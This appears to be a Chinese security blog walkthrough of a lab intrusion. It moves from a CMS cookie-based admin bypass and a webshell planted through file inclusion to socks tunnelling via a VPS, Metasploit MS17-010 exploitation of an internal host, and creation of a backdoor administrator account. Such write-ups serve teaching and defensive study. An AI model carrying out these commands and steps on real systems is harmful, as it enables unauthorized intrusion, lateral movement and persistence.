从0day到未授权访问到文件包含到内网漫游

释放双眼,带上耳机,听听看~!

前言

       拿到webshell以后如何通过socks代理摆脱webshell的依赖,取得服务器主机系统权限,然后通过跳板机进行内网探测渗透。

记录这样的一次经历,主要是想分享给那些和我一样在不断摸索的小伙伴们,所以整个过程较为基础,大佬请多指导,感谢~

下面开始正文>>>>>>

实验拓扑如图:

这里我们将131服务器和129主机模拟成外网服务器。

0x01.未授权访问

  • 未授权访问漏洞进入后台

我们发现http://192.168.146.131/fannuo/admin/cms_admin_edit.php?id=1存在后台未授权访问。

  • 利用思路

在未登陆的情况下直接访问:

http://192.168.146.131/fannuo/admin/cms_admin_edit.php?id=1,并使用Burp抓取数据包,在cookie中添加admin_name=,释放数据包如图:

 

成功登陆后台。

  • 文件包含漏洞Getshell

点击添加频道,然后上传将后缀名改为rar的一句话木马文件,如图:将得到的我们上传的木马文件的地址:

/uploadfile/file/20180830/20180830080937_95742.rar,../../uploadfile/file/20180830/20180830080937_95742.rar填入到频道模型一栏保存,找到对应的频道ID后,可成功获取到webshell。

0x03.端口转发

  • 查看权限

接着我们我们看下系统信息:

由于我们拿到的shell权限已经是administrator权限了,所以我们可以直接通过菜刀上传我们接下来渗透所需要的工具以及执行相关命令。

  • 端口转发

为了后续进行内网渗透的方便,我们先进行端口转发,将此服务器的远程桌面转发到本地端口进行链接(需要准备的工具为:端口转发工具、VPS跳板机)。

这里我们使用的是socks代理工具进行端口转发。(代理工具有很多,可以参考http://www.freebuf.com/articles/web/170970.html)

通过上面查看到的系统信息,我们可以知道该服务器是一台32位的windows 2003 系统。

所以第一步,我们先将agent_Linux64上传到自己的VPS跳板机上,然后在vps跳板机上执行命令 ./agent_Linux64 -l 6666,监听本地6666端口的流量,如图:

然后第二步我们在物理本机的CMD中执行命令admin_Win32.exe -c xxx.xxx.xxx.xxx(VPS跳板机IP) -p 6666,如图:

最后我们把agent_win32通过菜刀上传至该服务器的可读可写目录,然后命令:agent_Win32.exe -c xx.xxx.xxx.xxx(VPS跳板机的IP) 6666,如图:

接着我们将该网站服务器的3389端口转发到本地12345端口(任意未使用端口),执行命令如图:

到此,已经完成端口转发,因此我们只需要使用本地物理机连接本地(127.0.0.1)的12345端口即可对该网站服务器进行远程桌面管理。

到此我们不仅拿到了服务器的管理员权限,还摆脱了webshell的依赖。

0x05.内网探测

  • 端口扫描

前面我们已经连接到服务器的远程桌面了,所以,我们首先拖个端口扫描的小工具PortScan上去,对内网存活的主机以及其上开启了哪些服务进行一波探测如图:(当然网上有很多现成的工具可以直接进行一波系统漏洞扫描+利用,这里我们只进行常规思路的渗透)

存活的主机应该为192.168.146.129和192.168.146.131(本机),所以我们可以看下192.168.146.129开放了哪些端口,如图:

可以看到扫出来的内网主机192.168.146.129(我们暂时把这台主机命名为129,方便后面的叙述),开启了445端口,所以我们首先尝试的是129这台主机是否存在ms17-010漏洞。

  • MSF代理设置

在此之前为了祭出我们强大的msf,我们需要把该服务器作为跳板来使得我们的kali虚拟机可以与129主机通信。

我们之前在进行0x03端口转发的时候已经做过代理,但这里我们需要把kali虚拟机中所有流量都从131服务器通过,所以还需要在kali中再做一次代理,执行命令如图:

设置代理的大体步骤与0x03基本相同,这里需要提的是命令:>>>>socks 1080的意思是节点2(131服务器)提供了一个监听本地1080端口的服务。所以接下来我们还需要通过proxychain来设置代理:

1、首先打开proxychain的配置文件,执行命令:vi /etc/proxychains.conf,然后将dynamic_chain前面的#去掉并在末尾处修改代理的本地端口为1080如图

保存后退出。

2、通过用户的连接代理解析目标主机,执行命令:proxyresolv 192.168.146.131(目标主机IP)如图

3、最后通过proxychain启动msf即可,执行命令:proxychains msfconsole,如图:

  • ms17-010拿shell

上面我们已经通过代理打开了神奇msf,接着我们就来看看开了445端口的129主机是否存在ms17-010漏洞:

我们先使用扫描模块扫描一下,看看漏洞是否存在,执行命令:

msf>useauxiliary/scanner/smb/smb_ms17_010

msfauxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.146.129

msfauxiliary(scanner/smb/smb_ms17_010) > run

可以发现确实存在ms17-010漏洞,所以接下来我们就利用ms17-010进行攻击,执行命令:

msf> use exploit/windows/smb/ms17_010_psexec

msfexploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.146.129

msfexploit(windows/smb/ms17_010_psexec) > run

此时会获取到一个meterpreter shell,如图:

在之前的端口扫描中,我们知道129主机还开启了3389端口,因此我门可以利用meterpreter shell创建后门账户,并且加入到管理员组,执行命令:

meterpreter> shell

C:\WINDOWS\system32>netuser test test123 /add

netuser test test123 /add

C:\WINDOWS\system32>netlocalgroup administrators test /add

此时我们可以返回131服务器使用远程桌面登陆129主机了/

到这里,本次实验已经结束了,当然若是真实环境,内网主机肯定不止这一台,剩下来的依旧需要探索~

声明:本文章来自辞令投稿,仅供安全爱好者研究学习,对于用于非法途径的行为,作者不承担任何责任。

如果有想投稿的可以在公众号联系我,有技术含量的文章如果通过可以加入我们的核心团队,成员大部分为各大公司安全负责人和安全行业专家,0day多多内部资料多多,欢迎来撩。

人已赞赏
安全工具

从反渗透到病毒分析

2019-10-11 17:04:44

安全工具

等级保护资料免费分享!

2019-10-11 17:04:49

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索